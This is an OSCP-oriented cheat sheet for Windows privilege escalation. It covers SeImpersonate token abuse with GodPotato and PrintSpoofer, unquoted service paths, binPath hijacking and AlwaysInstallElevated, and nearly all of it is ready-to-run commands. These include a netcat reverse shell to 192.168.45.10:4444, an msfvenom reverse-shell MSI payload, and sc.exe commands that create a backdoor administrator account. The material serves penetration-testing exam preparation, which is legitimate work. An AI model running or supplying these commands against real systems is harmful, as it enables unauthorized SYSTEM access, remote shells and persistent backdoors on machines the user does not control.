Windows Privilege Escalation Cheatsheet for OSCP: Token Impersonation, Unquoted Paths & Services
Target Audience: OSCP candidates aiming to turn low-privilege service accounts into SYSTEM
If you get a shell as IIS_IUSRS or local service, execute `whoami /priv` before running any enumeration script. If SeImpersonate is enabled, drop GodPotato and get SYSTEM in 60 seconds.
# Token Impersonation: SeImpersonatePrivilege Exploitation
Service accounts (IIS APPPOOL, MSSQL$SERVER) almost always have SeImpersonatePrivilege enabled. Use Potato exploits for instant NT AUTHORITY\SYSTEM access.
# 1. Check Privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
# 2. GodPotato on modern Windows 10/11 / Server 2019/2022
GodPotato-NET4.exe -cmd "cmd.exe /c nc.exe 192.168.45.10 4444 -e cmd.exe"
# 3. PrintSpoofer on Windows Server 2016/2019
PrintSpoofer64.exe -i -c cmd# Service Misconfigurations: Unquoted Paths & Writable Binaries
Services running as LocalSystem with unquoted binary paths containing spaces allow binary planting and execution upon service restart.
# 1. Query Unquoted Service Paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """"
# 2. Check Writable Service Binaries with AccessChk
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# 3. Modifying Service BinPath to add local administrator
sc.exe config TargetService binPath= "net user oscproot Pass1234! /add"
sc.exe stop TargetService
sc.exe start TargetService
sc.exe config TargetService binPath= "net localgroup administrators oscproot /add"
sc.exe start TargetService# AlwaysInstallElevated & Registry Autorun Exploitation
When AlwaysInstallElevated policy is set to 1 in both HKLM and HKCU, ordinary users can execute MSI installers with elevated SYSTEM permissions.
# 1. Check AlwaysInstallElevated registry keys
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 2. Generate malicious MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.10 LPORT=4444 -f msi -o root.msi
# 3. Execute quiet install as low privilege user
msiexec /quiet /qn /i root.msi